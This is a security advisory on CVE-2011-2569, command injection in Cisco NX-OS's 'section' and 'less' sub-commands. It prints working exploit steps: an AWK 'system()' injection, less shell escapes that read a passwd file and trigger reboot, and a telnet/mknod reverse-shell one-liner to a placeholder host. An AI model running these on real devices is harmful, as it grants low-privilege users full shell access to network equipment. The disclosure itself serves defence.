Cisco Nexus OS (NX-OS) Command Injection

                							

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Cisco Nexus OS (NX-OS) - Command "injection" / sanitization issues.
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Discovery by:
 1) Peter Adkins <adkins.peter@gmail.com>

Access:
 1) Local; authenticated access is required.

CVE-ID:
 1) CVE-2011-2569

OS' Affected:
 1) Cisco Nexus OS (NX-OS)

Vendor involvement:
 1) Alerted - patches available / implemented for some platforms.

Systems / platforms affected:
 1) Nexus 7000
 2) Nexus 5000
 3) Nexus 4000
 4) Nexus 3000
 5) Nexus 2000
 6) Nexus 1000V
 7) MDS
 8) UCS

Notes:
 1) Local access is required. However, unprivileged accounts can gain
    access to the underlying Linux operating system, effectively providing
    complete access to the device. This could potentially lead to issues
    in environments where NOC and other staff are permitted low-level access
    for first point of call, etc.
  
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NX-OS - "section" sub-command - Command injection / sanitization issues.
-----------------------------------------------------------------------------

This issue was found on the Nexus 7000 platform. It is believed to
also affect the following platforms:

   * Nexus 7000 ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )
   * Nexus 5000 ( OS < UNK )
   * Nexus 4000 ( OS < UNK )
   * Nexus 3000 ( OS < UNK )
   * Nexus 2000 ( OS < UNK ) 
   * MDS        ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )

The section command appears to be an AWK script to which the requested
string is passed. However, the input does not appear to be sanitized
correctly. As a result, AWK can be used to execute arbitrary commands on the
Linux subsystem.

   nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
   Warning: There is already a file existing with this name. Do you want to
   overwrite (yes/no)? [no] y

   nx1# sh clock | sec '* -f /bootflash/20110713.awk '
   uid=2003(user) gid=504(network-operator)
   11:16:04.082 UTC Wed Jul 13 2011

   nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/'
        > 20110713.awk

   nx1# sh clock | sec '* -f /bootflash/20110713.awk '
   ascii
   bin
   boot
   cfglabel.sysmgr
   debug
   licenses
   linux
   log
   lost+found
   11:18:41.885 UTC Wed Jul 13 2011

This can even be used to remove all files on the bootflash and issue a
'reboot' command to the system. However, rebooting from the Linux subsystem
causes the device to spew messages to the console and lock; rather than
actually reloading the device.

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NX-OS - "less" sub-command - Command injection / sanitization issues.
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Believed to affect the following versions of software:

  1) Nexus 7000  ( OS < 5.1(1) )
  2) Nexus 5000  ( OS < 4.2(1)N2(1) )
  3) Nexus 4000  ( OS < UNK)
  4) Nexus 2000  ( OS < 4.2(1)N2(1) )
  5) UCS*        ( OS < 1.4(1i) 1.3(1c) )
  6) Nexus 1000V ( OS < UNK )
  7) MDS         ( OS < 5.1(1) )
 
   * On the UCS platform commands injected are executed as root.

As an example:

   switch# sh clock | less

Once less is presented we open files by pressing colon and then "e" and
specifying the path to the file.

   bin:*:1:1:bin:/bin:
   daemon:*:2:2:daemon:/usr/sbin:
   sys:*:3:3:sys:/dev:
   ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
   ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
   nobody:*:65534:65534:nobody:/home:/bin/sh
   admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm

However, this is just read-only access once again. BUT, if we use the "|"
(pipe) and then "$" key macro, we can execute commands.

   !ls -lah > /bootflash/20110715

As shown below, the file has been created on the boot-flash.

   switch# dir
            97     Jul 15 12:01:44 2011  20110715

Using this method, I have been able to establish a remote shell into the
NX-OS Linux subsystem using the following:

   mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs

Even the reboot command is accepted as a valid input. However, rather than
rebooting the device, it causes the system to lock while spewing errors
to the console.

   switch# sh clock | less
   Fri Jul 15 12:06:30 UTC 2011
   !reboot

   Broadcast message from root (Fri Jul 15 12:06:39 2011):
<p>